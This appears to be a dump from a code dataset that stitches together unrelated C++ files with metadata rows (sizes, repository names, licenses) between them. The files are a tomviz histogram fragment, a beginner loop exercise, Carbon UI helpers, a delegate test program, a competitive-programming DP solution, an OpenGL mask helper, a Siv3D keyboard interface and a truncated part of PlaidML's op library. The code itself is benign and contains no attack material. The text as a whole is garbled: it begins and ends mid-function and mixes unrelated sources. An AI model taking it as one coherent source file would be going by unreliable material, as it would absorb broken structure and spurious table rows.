void HistogramManager::histogram2DReadyInternal(
vtkSmartPointer<vtkImageData> image, vtkSmartPointer<vtkImageData> histogram)
{
m_histogram2DCache[image] = histogram;
m_histogram2DsInProgress.removeAll(image);
emit this->histogram2DReady(image, histogram);
}
} // namespace tomviz
#include "HistogramManager.moc"
| 33.692547 | 80 | 0.703014 | sukhsung |
4eba081c6c0b0ac577b8a9d5ce8b29ff69846d97 | 713 | cpp | C++ | Final Lab Task/Q10.cpp | aetooc/PF-Lab-Tasks | 17899595e948624370b754103be28eb93f236a14 | [
"MIT"
] | null | null | null | Final Lab Task/Q10.cpp | aetooc/PF-Lab-Tasks | 17899595e948624370b754103be28eb93f236a14 | [
"MIT"
] | null | null | null | Final Lab Task/Q10.cpp | aetooc/PF-Lab-Tasks | 17899595e948624370b754103be28eb93f236a14 | [
"MIT"
] | null | null | null | // Including header file in my program.
#include<iostream>
// Using the namespace named std.
using namespace std;
int main(){
// Integer variables
int sum,i,j;
// Assigning a value to 'sum' variable
sum= 100;
// Storing value of 'sum' in 'j'
j=sum;
// Printing 'sum' variable and a string
cout<<"All possible values for: a + b = "<<sum<<endl;
// For loop
for(i=0; i<=sum; i++){
// while loop
while(j >= 1){
// printing values of 'i', 'j' and 'sum' with a string
cout<<i<<" + "<<j--<<" = "<<sum<<endl;
// Using to break the loop
break;
}
}
// Returning value to main()
return 0;
} | 19.805556 | 66 | 0.518934 | aetooc |
4ebca7c2b73e9d7eba1fcfe09f292b9ca539b3be | 3,047 | cpp | C++ | addons/ofxGuido/lib/guidolib-code/macosx/GuidoQuartz/CarbonControlUtils.cpp | k4rm/AscoGraph | 9038ae785b6f4f144a3ab5c4c5520761c0cd08f2 | [
"MIT"
] | 18 | 2015-01-18T22:34:22.000Z | 2020-09-06T20:30:30.000Z | addons/ofxGuido/lib/guidolib-code/macosx/GuidoQuartz/CarbonControlUtils.cpp | k4rm/AscoGraph | 9038ae785b6f4f144a3ab5c4c5520761c0cd08f2 | [
"MIT"
] | 2 | 2015-08-04T00:07:46.000Z | 2017-05-10T15:53:51.000Z | addons/ofxGuido/lib/guidolib-code/macosx/GuidoQuartz/CarbonControlUtils.cpp | k4rm/AscoGraph | 9038ae785b6f4f144a3ab5c4c5520761c0cd08f2 | [
"MIT"
] | 10 | 2015-01-18T23:46:10.000Z | 2019-08-25T12:10:04.000Z | /*
*
* File: CarbonControlUtils.cpp
*
*
*
*/
#include <Carbon/Carbon.h>
#include "MacTools.h" // was "CarbonControlUtils.h"
// ---------------------------------------------------------------------------
// * FindControl
// ---------------------------------------------------------------------------
ControlRef
MacTools::FindControl( WindowRef inWinRef, const ControlID & inControlID )
{
ControlRef outControlRef = 0;
::GetControlByID( inWinRef, &inControlID, &outControlRef );
return outControlRef;
}
// ---------------------------------------------------------------------------
// * FindControl
// ---------------------------------------------------------------------------
ControlRef
MacTools::FindControl( WindowRef inWinRef, OSType inSignature, SInt32 inID )
{
ControlID controlID;
controlID.id = inID;
controlID.signature = inSignature;
return FindControl( inWinRef, controlID );
}
// ---------------------------------------------------------------------------
// * GetEditTextIntValue
// ---------------------------------------------------------------------------
SInt32
MacTools::GetEditTextIntValue( ControlRef ctrl )
{
const ControlPartCode partCode = kControlEditTextPart;
const ResType tagName = kControlEditTextCFStringTag;
Size actualSize = 0;
CFStringRef text = 0;
::GetControlData( ctrl, partCode, tagName, sizeof(CFStringRef), &text, &actualSize );
const SInt32 value = ::CFStringGetIntValue( text );
::CFRelease( text );
return value;
}
// ---------------------------------------------------------------------------
// * SetEditTextIntValue
// ---------------------------------------------------------------------------
void
MacTools::SetEditTextIntValue( ControlRef ctrl, int inValue )
{
const ControlPartCode partCode = kControlEditTextPart;
const ResType tagName = kControlEditTextCFStringTag;
CFStringRef text = ::CFStringCreateWithFormat( kCFAllocatorDefault, NULL, CFSTR("%d"), inValue );
if( text )
{
::SetControlData( ctrl, partCode, tagName, sizeof(CFStringRef), &text );
::CFRelease( text );
}
}
// ---------------------------------------------------------------------------
// * SetControlString
// ---------------------------------------------------------------------------
void
MacTools::SetControlString( WindowRef inWinRef, OSType inSignature,
SInt32 inID, CFStringRef inStringRef, bool refresh )
{
const ControlRef theControlRef = FindControl( inWinRef, inSignature, inID );
SetControlString( theControlRef, inStringRef, refresh );
}
// ---------------------------------------------------------------------------
// * SetControlString
// ---------------------------------------------------------------------------
void
MacTools::SetControlString( ControlRef inControlRef, CFStringRef inStringRef, bool refresh )
{
if( inControlRef == 0 ) return;
if( inStringRef == 0 ) return;
::SetControlData( inControlRef, 0, kControlStaticTextCFStringTag, sizeof(CFStringRef), &inStringRef );
if( refresh )
::Draw1Control( inControlRef );
}
| 30.777778 | 103 | 0.510338 | k4rm |
4ebd74330402d48496acdf328c67a1f7e6eeeeb9 | 59 | cpp | C++ | src/MagicCube5D/workFiles/twist.cpp | roice3/MagicCube5D | 5839456f3ce7d12aa61527956cbd434822f0ed4f | [
"MIT"
] | 4 | 2017-01-25T17:10:19.000Z | 2020-07-04T22:35:35.000Z | src/MagicCube5D/workFiles/twist.cpp | roice3/MagicCube5D | 5839456f3ce7d12aa61527956cbd434822f0ed4f | [
"MIT"
] | 8 | 2020-07-03T20:40:49.000Z | 2020-07-22T19:06:57.000Z | src/MagicCube5D/workFiles/twist.cpp | roice3/MagicCube5D | 5839456f3ce7d12aa61527956cbd434822f0ed4f | [
"MIT"
] | 2 | 2015-06-11T05:38:19.000Z | 2020-07-03T19:37:02.000Z | #include "twist.h"
#include <stdafx.h>
#pragma unmanaged
| 9.833333 | 19 | 0.711864 | roice3 |
4ebeeb63ae8b3d09f5141c6c89a09527646b8c73 | 6,186 | cpp | C++ | main.cpp | rockonedege/delegates | 430da988ad2158d9e02a21692d0ab36112c9954b | [
"BSD-3-Clause"
] | 50 | 2016-03-12T15:47:20.000Z | 2022-03-15T11:45:34.000Z | main.cpp | rockonedege/delegates | 430da988ad2158d9e02a21692d0ab36112c9954b | [
"BSD-3-Clause"
] | null | null | null | main.cpp | rockonedege/delegates | 430da988ad2158d9e02a21692d0ab36112c9954b | [
"BSD-3-Clause"
] | 5 | 2016-03-13T12:44:42.000Z | 2019-09-23T17:57:07.000Z | #include <stdio.h>
#include <chrono>
#include <cassert>
#include "src/delegate.h"
#include <functional>
class simple_dummy_class
{
public:
simple_dummy_class() {}
};
// Declare some functions of varying complexity...
void SimpleStaticFunction(simple_dummy_class &, int num) {
printf("In SimpleStaticFunction. Num=%d\n", num);
}
class CBaseClass {
protected:
const char *m_name;
public:
CBaseClass(const char *name) : m_name(name) {}
virtual ~CBaseClass() { }
void SimpleMemberFunction(int num) {
printf("In SimpleMemberFunction in %s. Num=%d\n", m_name, num);
}
void ConstSimpleMemberFunction(int num) const
{
printf("In ConstSimpleMemberFunction in %s. Num=%d\n", m_name, num);
}
void ConstMemberFunction(int num) const {
printf("In ConstMemberFunction in %s. Num=%d\n", m_name, num);
}
virtual void SimpleVirtualFunction(int num) {
printf("In SimpleVirtualFunction in %s. Num=%d\n", m_name, num);
}
static void StaticMemberFunction(simple_dummy_class &, int num) {
printf("In StaticMemberFunction. Num=%d\n", num);
}
};
class COtherClass {
double rubbish; // to ensure this class has non-zero size.
public:
virtual ~COtherClass() { }
virtual void UnusedVirtualFunction(void) { }
virtual void TrickyVirtualFunction(int num) = 0;
};
class VeryBigClass {
int letsMakeThingsComplicated[400];
};
// This declaration ensures that we get a convoluted class heirarchy.
class CDerivedClass : public VeryBigClass, virtual public COtherClass, virtual public CBaseClass
{
double m_somemember[8];
public:
CDerivedClass() : CBaseClass("Base of Derived") { m_somemember[0] = 1.2345; }
void SimpleDerivedFunction(int num) { printf("In SimpleDerived. Num=%d\n", num); }
virtual void AnotherUnusedVirtualFunction(int) {}
virtual void TrickyVirtualFunction(int num) override {
printf("In Derived TrickyMemberFunction. Num=%d\n", num);
}
};
typedef delegate<void(int)> MyDelegate;
template<class _FunctionClass>
void dump_mfp(_FunctionClass *object, void (_FunctionClass::*mfp)(int num))
{
unsigned long *ptr = (unsigned long *)&mfp;
int size = sizeof(mfp) / sizeof(*ptr);
(object->*mfp)(1);
printf("Size = %d bytes:\n", (int)sizeof(mfp));
for (int i = 0; i < size; i++)
printf(" %08X\n", (std::uint32_t)ptr[i]);
}
void dump_vtable(const char *name, void *ptr)
{
void **vtable = *reinterpret_cast<void ***>(ptr);
printf("%s: vtable @ %p = %p %p %p %p\n", name, *vtable, vtable[0], vtable[1], vtable[2], vtable[3]);
}
void print_num_std_function(int i)
{
printf("In std:function. Num=%d\n",i);
}
int main(int, char**)
{
#if defined(__clang__)
printf("Clang version: %d.%d.%d\n", __clang_major__, __clang_minor__, __clang_patchlevel__);
#elif defined(_MSC_VER)
printf("MSC_VER version: %d\n", _MSC_VER);
#elif defined(__GNUC__)
printf("GCC version: %d.%d.%d\n", __GNUC__, __GNUC_MINOR__, __GNUC_PATCHLEVEL__);
#else
printf("Unknown compiler\n");
#endif //
#if defined(__arm__) || defined(_M_ARM)
printf("ARM\n");
#elif defined(__aarch64__)
printf("ARM 64bit\n");
#elif defined(__MIPSEL__) || defined(__mips_isa_rev)
printf("MIPS\n");
#elif defined(__mips64)
printf("MIPS 64bit\n");
#elif defined(_M_PPC) || defined(__powerpc__)
printf("PPC\n");
#elif defined(__powerpc64__)
printf("PPC 64bit\n");
#elif defined(__i386__) || defined(_M_IX86)
printf("Intel x86\n");
#elif defined(__x86_64__) || defined(_M_X64)
printf("Intel x64\n");
#else
printf("Unknown CPU\n");
#endif //
printf("Pointer size %d\n", (int)sizeof(void *));
#if USE_DELEGATE_TYPE==DELEGATE_TYPE_COMPATIBLE
printf("Using slow compatible delegates\n");
#elif USE_DELEGATE_TYPE==DELEGATE_TYPE_INTERNAL
printf("Using fast internal GCC/CLANG delegates\n");
#elif USE_DELEGATE_TYPE==DELEGATE_TYPE_MSVC
printf("Using fast internal MSVC delegates\n");
#endif
simple_dummy_class machine;
MyDelegate funclist[12]; // delegates are initialized to empty
CBaseClass a("Base A");
CBaseClass b("Base B");
CDerivedClass c;
CDerivedClass d;
dump_vtable("A", &a);
dump_vtable("D", &d);
dump_mfp(&a, &CBaseClass::SimpleMemberFunction);
dump_mfp(&a, &CBaseClass::SimpleVirtualFunction);
dump_mfp(&d, &CDerivedClass::SimpleDerivedFunction);
dump_mfp(&d, &CDerivedClass::TrickyVirtualFunction);
// Binding a simple member function
printf("funclist[0] = MyDelegate(&CBaseClass::SimpleMemberFunction, &a);\n");
funclist[0] = MyDelegate(&CBaseClass::SimpleMemberFunction, &a);
printf("funclist[1] = MyDelegate(&CBaseClass::ConstSimpleMemberFunction, &a);\n");
funclist[1] = MyDelegate(&CBaseClass::ConstSimpleMemberFunction, &a);
// You can also bind static (free) functions
printf("funclist[2] = MyDelegate(SimpleStaticFunction,&machine);\n");
funclist[2] = MyDelegate(&SimpleStaticFunction,&machine);
// and static member functions
printf("funclist[3] = MyDelegate(&CBaseClass::StaticMemberFunction, &machine);\n");
funclist[3] = MyDelegate(&CBaseClass::StaticMemberFunction, &machine);
// and virtual member functions
printf("funclist[4] = MyDelegate(&CBaseClass::SimpleVirtualFunction, &b);\n");
funclist[4] = MyDelegate(&CBaseClass::SimpleVirtualFunction, &b);
printf("funclist[5] = MyDelegate(&CBaseClass::SimpleVirtualFunction,(CBaseClass *)&d);\n");
funclist[5] = MyDelegate(&CBaseClass::SimpleVirtualFunction,(CBaseClass *)&d);
printf("funclist[6] = MyDelegate(&CDerivedClass::TrickyVirtualFunction,&c);\n");
funclist[6] = MyDelegate(&CDerivedClass::TrickyVirtualFunction,&c);
printf("funclist[7] = MyDelegate(&COtherClass::TrickyVirtualFunction,(COtherClass*)&c);\n");
funclist[7] = MyDelegate(&COtherClass::TrickyVirtualFunction,(COtherClass*)&c);
printf("funclist[8] = MyDelegate(&CDerivedClass::SimpleDerivedFunction,&c);\n");
funclist[8] = MyDelegate(&CDerivedClass::SimpleDerivedFunction,&c);
printf("funclist[9] = std::function<void(int)>\n");
std::function<void(int)> func = print_num_std_function;
funclist[9] = MyDelegate(func);
printf("funclist[10] = [](int a) -> void {}\n");
funclist[10] = MyDelegate([](int a) -> void { printf("In lambda. Num=%d\n",a); });
fflush(stdout);
for (int i = 0; i<11; i++) {
if (!funclist[i].isnull()) {
funclist[i](i);
fflush(stdout);
}
}
printf("Done\n");
return 0;
}
| 32.387435 | 102 | 0.719205 | rockonedege |
4ec158c5193b21e56085d6977fb6e53c57f510ca | 735 | cpp | C++ | poj/poj3666.cpp | songhn233/ACM_Steps | 6f2edeca9bf4fc999a8148bc90b2d8d0e59d48fe | [
"CC0-1.0"
] | 1 | 2020-08-10T21:40:21.000Z | 2020-08-10T21:40:21.000Z | poj/poj3666.cpp | songhn233/Algorithm-Packages | 56d6f3c2467c175ab8a19b82bdfb25fc881e2206 | [
"CC0-1.0"
] | null | null | null | poj/poj3666.cpp | songhn233/Algorithm-Packages | 56d6f3c2467c175ab8a19b82bdfb25fc881e2206 | [
"CC0-1.0"
] | null | null | null | #include<iostream>
#include<algorithm>
#include<cstdio>
#include<cstring>
#define ll long long
using namespace std;
const int maxn=2050;
const ll inf=1e10;
ll n,f[maxn][maxn],a[maxn],b[maxn];
int main()
{
cin>>n;
for(int i=1;i<=n;i++) cin>>a[i],b[i]=a[i];
sort(b+1,b+n+1);
for(int i=1;i<=n;i++)
{
ll temp=inf;
for(int j=1;j<=n;j++)
{
temp=min(temp,f[i-1][j]);
f[i][j]=temp+abs(a[i]-b[j]);
}
}
ll ans=inf;
for(int i=1;i<=n;i++) ans=min(ans,f[n][i]);
reverse(b+1,b+n+1);
memset(f,0,sizeof(f));
for(int i=1;i<=n;i++)
{
ll temp=inf;
for(int j=1;j<=n;j++)
{
temp=min(temp,f[i-1][j]);
f[i][j]=temp+abs(a[i]-b[j]);
}
}
for(int i=1;i<=n;i++) ans=min(ans,f[n][i]);
cout<<ans<<endl;
return 0;
}
| 17.093023 | 44 | 0.546939 | songhn233 |
4ec2b7bee2f931aef645b1c5be8a6badd861dc70 | 2,422 | hpp | C++ | include/util/gl/mask.hpp | ecarpita93/HPC_projet_1 | a2c00e056c03227711c43cf2ad23d75c6afbe698 | [
"Xnet",
"X11"
] | null | null | null | include/util/gl/mask.hpp | ecarpita93/HPC_projet_1 | a2c00e056c03227711c43cf2ad23d75c6afbe698 | [
"Xnet",
"X11"
] | null | null | null | include/util/gl/mask.hpp | ecarpita93/HPC_projet_1 | a2c00e056c03227711c43cf2ad23d75c6afbe698 | [
"Xnet",
"X11"
] | null | null | null | /*
PICCANTE
The hottest HDR imaging library!
http://vcg.isti.cnr.it/piccante
Copyright (C) 2014
Visual Computing Laboratory - ISTI CNR
http://vcg.isti.cnr.it
First author: Francesco Banterle
This Source Code Form is subject to the terms of the Mozilla Public
License, v. 2.0. If a copy of the MPL was not distributed with this
file, You can obtain one at http://mozilla.org/MPL/2.0/.
*/
#ifndef PIC_UTIL_GL_MASK_HPP
#define PIC_UTIL_GL_MASK_HPP
#include "../../base.hpp"
namespace pic {
/**
* @brief GenerateMask creates an opengl mask (a texture) from a buffer of bool values.
* @param width
* @param height
* @param buffer
* @param tex
* @param tmpBuffer
* @param mipmap
* @return
*/
PIC_INLINE GLuint GenerateMask(int width, int height, bool *buffer = NULL,
GLuint tex = 0, unsigned char *tmpBuffer = NULL, bool mipmap = false)
{
bool bGen = (tex == 0);
if(bGen) {
glGenTextures(1, &tex);
}
glBindTexture(GL_TEXTURE_2D, tex);
if(bGen) {
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR);
}
unsigned char *data = NULL;
if(buffer != NULL) {
int n = width * height;
if(tmpBuffer != NULL) {
data = tmpBuffer;
} else {
data = new unsigned char[n * 3];
}
#pragma omp parallel for
for(int i = 0; i < n; i++) {
data[i] = buffer[i] ? 255 : 0;
}
}
if(bGen) {
if(mipmap) {
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR_MIPMAP_LINEAR);
} else {
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR);
}
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE);
glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE);
glPixelStorei(GL_UNPACK_ALIGNMENT, 1);
}
/*
Note: GL_LUMINANCE is deprecated since OpenGL 3.1
glTexImage2D(GL_TEXTURE_2D, 0, GL_LUMINANCE8 , width, height, 0, GL_LUMINANCE, GL_UNSIGNED_BYTE, data);
*/
glTexImage2D(GL_TEXTURE_2D, 0, GL_R8, width, height, 0, GL_RED, GL_UNSIGNED_BYTE, data);
if(mipmap && bGen) {
glGenerateMipmap(GL_TEXTURE_2D);
}
glBindTexture(GL_TEXTURE_2D, 0);
if(data != NULL && tmpBuffer == NULL) {
delete[] data;
}
return tex;
}
} // end namespace pic
#endif /* PIC_UTIL_GL_ */
| 23.288462 | 111 | 0.632535 | ecarpita93 |
4ec44843e632b76786ed325d74a7303e5b94439f | 802 | hpp | C++ | Siv3D/src/Siv3D/Keyboard/IKeyboard.hpp | yumetodo/OpenSiv3D | ea191438ecbc64185f5df3d9f79dffc6757e4192 | [
"MIT"
] | 7 | 2020-04-26T11:06:02.000Z | 2021-09-05T16:42:31.000Z | Siv3D/src/Siv3D/Keyboard/IKeyboard.hpp | yumetodo/OpenSiv3D | ea191438ecbc64185f5df3d9f79dffc6757e4192 | [
"MIT"
] | 10 | 2020-04-26T13:25:36.000Z | 2022-03-01T12:34:44.000Z | Siv3D/src/Siv3D/Keyboard/IKeyboard.hpp | yumetodo/OpenSiv3D | ea191438ecbc64185f5df3d9f79dffc6757e4192 | [
"MIT"
] | 2 | 2020-05-11T08:23:23.000Z | 2020-08-08T12:33:30.000Z | //-----------------------------------------------
//
// This file is part of the Siv3D Engine.
//
// Copyright (c) 2008-2019 Ryo Suzuki
// Copyright (c) 2016-2019 OpenSiv3D Project
//
// Licensed under the MIT License.
//
//-----------------------------------------------
# pragma once
# include <utility>
# include <Siv3D/Fwd.hpp>
# include <Key/InputState.hpp>
namespace s3d
{
constexpr uint32 KeyboardButtonCount = 256;
class ISiv3DKeyboard
{
public:
static ISiv3DKeyboard* Create();
virtual ~ISiv3DKeyboard() = default;
virtual void init() = 0;
virtual void update() = 0;
virtual bool down(uint32 index) const = 0;
virtual bool pressed(uint32 index) const = 0;
virtual bool up(uint32 index) const = 0;
virtual Duration pressedDuration(uint32 index) const = 0;
};
}
| 19.095238 | 59 | 0.608479 | yumetodo |
4ec55ce282bcabfac1a899ee07eda43da7b883a3 | 106,846 | cc | C++ | plaidml/op/lib/ops.cc | hfp/plaidml | c86852a910e68181781b3045f5a306d2f41a775f | [
"Apache-2.0"
] | null | null | null | plaidml/op/lib/ops.cc | hfp/plaidml | c86852a910e68181781b3045f5a306d2f41a775f | [
"Apache-2.0"
] | null | null | null | plaidml/op/lib/ops.cc | hfp/plaidml | c86852a910e68181781b3045f5a306d2f41a775f | [
"Apache-2.0"
] | null | null | null | // Copyright 2019 Intel Corporation.
#include "plaidml/op/lib/ops.h"
#include <algorithm>
#include <set>
#include <utility>
#include <vector>
#include "llvm/Support/FormatVariadic.h"
#include "plaidml/op/op.h"
#include "pmlc/util/logging.h"
using namespace plaidml::edsl; // NOLINT
using namespace plaidml::op; // NOLINT
namespace plaidml::op::lib {
// Forward declare the operations here so they can call each other
Value abs(const Value&);
Value all(const Value&);
Value any(const Value&);
Value argmax(const Value&);
Value binary_crossentropy(const Value&);
Value broadcast(const Value&);
Value clip(const Value&);
Value concatenate(const Value&);
Value convolution(const Value&);
Value cumprod(const Value&);
Value cumsum(const Value&);
Value dot(const Value&);
Value elu(const Value&);
Value explicit_padding(const Value&);
Value flip(const Value&);
Value hard_sigmoid(const Value&);
Value image_resize(const Value&);
Value max(const Value&);
Value maximum(const Value&);
Value mean(const Value&);
Value min(const Value&);
Value minimum(const Value&);
Value mvn(const Value&);
Value l2norm(const Value&);
Value pool(const Value&);
Value prod(const Value&);
Value relu(const Value&);
Value reorg_yolo(const Value&);
Value repeat(const Value&);
Value reshape(const Value&);
Value sigmoid(const Value&);
Value slice(const Value&);
Value softmax(const Value&);
Value sort(const Value&);
Value spatial_padding(const Value&);
Value square(const Value&);
Value squeeze(const Value&);
Value sum(const Value&);
Value tile(const Value&);
Value transpose(const Value&);
Value unsqueeze(const Value&);
Value variance(const Value&);
namespace {
struct AggregationAxes {
std::vector<TensorIndex> src_idxs;
std::vector<TensorIndex> dst_idxs;
std::vector<TensorIndex> reduce_idxs;
std::vector<TensorDim> src_dims;
std::vector<TensorDim> dst_dims;
std::vector<TensorDim> reduce_dims;
std::set<size_t> axes;
AggregationAxes(size_t ndims, const Value& in_axes, bool keepdims) : src_idxs(ndims), src_dims(ndims) {
IVLOG(5, "Received agg axes request with\n\tndims = " << ndims << "\n\tin_axes = " << in_axes
<< "\n\tkeepdims = " << keepdims);
if (in_axes.is_none()) {
for (size_t i = 0; i < ndims; i++) {
axes.insert(i);
}
} else if (in_axes.is_tuple()) {
for (const auto& axis : in_axes.as_tuple()) {
auto int_axis = axis.as_int();
if (int_axis < 0) {
int_axis = ndims + int_axis;
}
if (int_axis < 0 || ndims < static_cast<size_t>(int_axis)) {
throw std::out_of_range(llvm::formatv("axis out of range: {0}", int_axis));
}
axes.insert(int_axis);
}
} else if (in_axes.is_int()) {
auto axis = in_axes.as_int();
if (axis < 0) {
axis = ndims + axis;
}
axes = {static_cast<size_t>(axis)};
} else {
throw std::runtime_error("Invalid Value type for AggregationAxes: in_axes");
}
for (auto axis : axes) {
reduce_idxs.push_back(src_idxs[axis]);
reduce_dims.push_back(src_dims[axis]);
}
if (keepdims) {
dst_idxs = src_idxs;
dst_dims = src_dims;
for (auto axis : axes) {
dst_idxs[axis] = TensorIndex();
dst_dims[axis] = TensorDim{1};
}
} else {
for (size_t i = 0; i < ndims; i++) {
if (!axes.count(i)) {
dst_idxs.push_back(src_idxs[i]);
dst_dims.push_back(src_dims[i]);
}
}
}
}
};
struct LRNAxes {
std::vector<TensorIndex> src_idxs;
std::vector<TensorIndex> dst_idxs;
std::vector<Constraint> constraints;
std::set<int64_t> axes;
std::vector<int64_t> widths;
LRNAxes(size_t ndims, const std::vector<int64_t>& in_axes, const std::vector<int64_t>& widths) : src_idxs(ndims) {
IVLOG(5, "Received agg axes request with\n\tndims = " << ndims << "\n\tin_axes = " << in_axes
<< "\n\twidths = " << widths);
dst_idxs = src_idxs;
for (int64_t axis : in_axes) {
if (axis < 0) {
axis += ndims;
}
if (axis < 0 || ndims < static_cast<size_t>(axis)) {
throw std::out_of_range(llvm::formatv("axis out of range: {0}", axis));
}
axes.insert(axis);
}
if (axes.size() != widths.size()) {
throw std::runtime_error(llvm::formatv("Inconsistent axis count and window width count in LRN ({0} vs {1})",
axes.size(), widths.size()));
}
std::vector<TensorIndex> window_idxs(widths.size());
size_t i = 0; // to iterate through window_idxs and widths in tandem with axes
for (auto ax_it = axes.begin(); ax_it != axes.end(); ax_it++, i++) {
constraints.push_back(window_idxs[i] < widths[i]);
src_idxs[*ax_it] = src_idxs[*ax_it] + window_idxs[i] - widths[i] / 2;
}
}
};
template <typename T>
T validate(int raw) {
if (raw < 0 || raw >= static_cast<int>(T::_LAST)) {
throw std::runtime_error("Invalid enumeration value");
}
return static_cast<T>(raw);
}
std::string to_string(AutoGroupMode mode) {
switch (mode) {
case AutoGroupMode::UNGROUPED:
return "AutoGroupMode::UNGROUPED";
case AutoGroupMode::EXPLICIT:
return "AutoGroupMode::EXPLICIT";
case AutoGroupMode::AUTO:
return "AutoGroupMode::AUTO";
case AutoGroupMode::DEPTHWISE:
return "AutoGroupMode::DEPTHWISE";
default:
return "<<UNRECOGNIZED AutoGroupMode>>";
}
}
std::ostream& operator<<(std::ostream& os, const AutoGroupMode& mode) {
os << to_string(mode);
return os;
}
std::string to_string(AutoPadMode mode) {
switch (mode) {
case AutoPadMode::EXPLICIT:
return "AutoPadMode::EXPLICIT";
case AutoPadMode::SAME_LOWER:
return "AutoPadMode::SAME_LOWER";
case AutoPadMode::SAME_UPPER:
return "AutoPadMode::SAME_UPPER";
case AutoPadMode::VALID:
return "AutoPadMode::VALID";
default:
return "<<UNRECOGNIZED AutoPadMode>>";
}
}
std::string to_string(PadMode mode) {
switch (mode) {
case PadMode::CONSTANT:
return "PadMode::CONSTANT";
case PadMode::EDGE:
return "PadMode::EDGE";
case PadMode::REFLECT:
return "PadMode::REFLECT";
case PadMode::SYMMETRIC:
return "PadMode::SYMMETRIC";
default:
return "<<UNRECOGNIZED AutoPadMode>>";
}
}
std::ostream& operator<<(std::ostream& os, const AutoPadMode& mode) {
os << to_string(mode);
return os;
}
std::string to_string(ConvDerivMode mode) {
switch (mode) {
case ConvDerivMode::NONE:
return "ConvDerivMode::NONE";
case ConvDerivMode::DATA:
return "ConvDerivMode::DATA";
case ConvDerivMode::FILTER:
return "ConvDerivMode::FILTER";
default:
return "<<UNRECOGNIZED ConvDerivMode>>";
}
}
std::ostream& operator<<(std::ostream& os, const ConvDerivMode& mode) {
os << to_string(mode);
return os;
}
std::string to_string(GroupLayout mode) {
switch (mode) {
case GroupLayout::NONE:
return "GroupLayout::NONE";
case GroupLayout::SEPARATE:
return "GroupLayout::SEPARATE";
case GroupLayout::IN_C:
return "GroupLayout::IN_C";
case GroupLayout::IN_K:
return "GroupLayout::IN_K";
default:
return "<<UNRECOGNIZED GroupLayout>>";
}
}
std::ostream& operator<<(std::ostream& os, const GroupLayout& mode) {
os << to_string(mode);
return os;
}
// TODO: Enable when needed
// std::string to_string(PoolMode m) {
// switch (m) {
// case PoolMode::AVG:
// return "avg";
// case PoolMode::MAX:
// return "max";
// case PoolMode::MIN:
// return "min";
// case PoolMode::SUM:
// return "sum";
// }
// throw std::runtime_error("Unable to convert pooling mode to string due to unrecognized mode");
// }
size_t nonspatial_dims(TensorLayout layout) {
switch (layout) {
case TensorLayout::NXC:
case TensorLayout::NCX:
case TensorLayout::KCX:
case TensorLayout::XCK:
return 2;
case TensorLayout::GKCX:
case TensorLayout::XGCK:
return 3;
default:
throw std::runtime_error("Unrecognized layout when attempting to count non-spatial dimensions");
}
}
std::string to_string(TensorLayout mode) {
switch (mode) {
case TensorLayout::NXC:
return "TensorLayout::NXC";
case TensorLayout::NCX:
return "TensorLayout::NCX";
case TensorLayout::KCX:
return "TensorLayout::KCX";
case TensorLayout::XCK:
return "TensorLayout::XCK";
case TensorLayout::GKCX:
return "TensorLayout::GKCX";
case TensorLayout::XGCK:
return "TensorLayout::XGCK";
default:
return "<<UNRECOGNIZED TensorLayout>>";
}
}
std::ostream& operator<<(std::ostream& os, const TensorLayout& mode) {
os << to_string(mode);
return os;
}
bool is_input_layout(TensorLayout layout) { //
return (layout == TensorLayout::NCX || layout == TensorLayout::NXC);
}
bool is_filter_layout(TensorLayout layout) {
return (layout == TensorLayout::KCX || layout == TensorLayout::XCK || layout == TensorLayout::GKCX ||
layout == TensorLayout::XGCK);
}
bool is_filter_layout_with_separate_groups(TensorLayout layout) {
return (layout == TensorLayout::GKCX || layout == TensorLayout::XGCK);
}
size_t normalize_axis(int64_t axis, size_t ndims, std::string op_name = "") {
bool negative_axis_given = false;
if (axis < 0) {
axis += ndims;
negative_axis_given = true;
}
if (axis < 0 || ndims <= static_cast<size_t>(axis)) {
if (negative_axis_given) {
axis -= ndims;
}
auto op_name_str = op_name.empty() ? "" : llvm::formatv("for {0} op ", op_name).str();
throw std::runtime_error(llvm::formatv("Axis out of range {0}(axis {1} requested for tensors with {2} dimensions)",
op_name_str, axis, ndims));
}
return axis;
}
std::pair<TensorDim, TensorDim> compute_padding_and_output_size( //
const TensorDim& input_size, //
const TensorDim& filter_size, //
int64_t stride, //
AutoPadMode autopad_mode, //
int64_t pad_lo, //
int64_t pad_hi, //
int64_t dilation, //
int64_t data_dilation, //
bool use_ceil_for_output_shape) {
// Effective input and filter sizes are the sizes after dilations are
// accounted for. So a 4x3 filter dilated by (3, 2) has an effective filter
// size of 10 and 5 for its 2 spatial dims
auto I_eff = (data_dilation * (input_size - 1)) + 1; // Effective Input Size
auto F_eff = (dilation * (filter_size - 1)) + 1; // Effective Filter Size
int64_t ceil_term =
use_ceil_for_output_shape ? stride - 1 : 0; // TODO: Will need to confirm that this is the intended behavior
if (autopad_mode == AutoPadMode::EXPLICIT) {
TensorDim pad_before(pad_lo);
TensorDim output_size((I_eff + pad_lo + pad_hi - F_eff + stride + ceil_term) / stride);
return std::pair<TensorDim, TensorDim>(pad_before, output_size);
}
if (autopad_mode == AutoPadMode::VALID) {
TensorDim pad_before(0);
TensorDim output_size((I_eff - F_eff + stride + ceil_term) / stride);
return std::pair<TensorDim, TensorDim>(pad_before, output_size);
}
if (autopad_mode == AutoPadMode::SAME_LOWER || autopad_mode == AutoPadMode::SAME_UPPER) {
TensorDim output_size((I_eff + stride - 1 + ceil_term) / stride);
int64_t lower_term = (autopad_mode == AutoPadMode::SAME_LOWER) ? 1 : 0;
TensorDim pad_before((max(0, (output_size - 1) * stride + F_eff - I_eff) + lower_term) / 2);
return std::pair<TensorDim, TensorDim>(pad_before, output_size);
}
throw std::runtime_error(llvm::formatv("Unexpected autopadding mode: {0}", to_string(autopad_mode)));
}
std::pair<TensorDim, TensorDim> compute_padding_and_input_size( //
const TensorDim& output_size, //
const TensorDim& filter_size, //
int64_t stride, //
AutoPadMode autopad_mode, //
int64_t pad_lo, //
int64_t pad_hi, //
int64_t dilation, //
int64_t data_dilation) {
// Note that this computes the smallest input_size that would produce the given output_size
if (data_dilation != 1) {
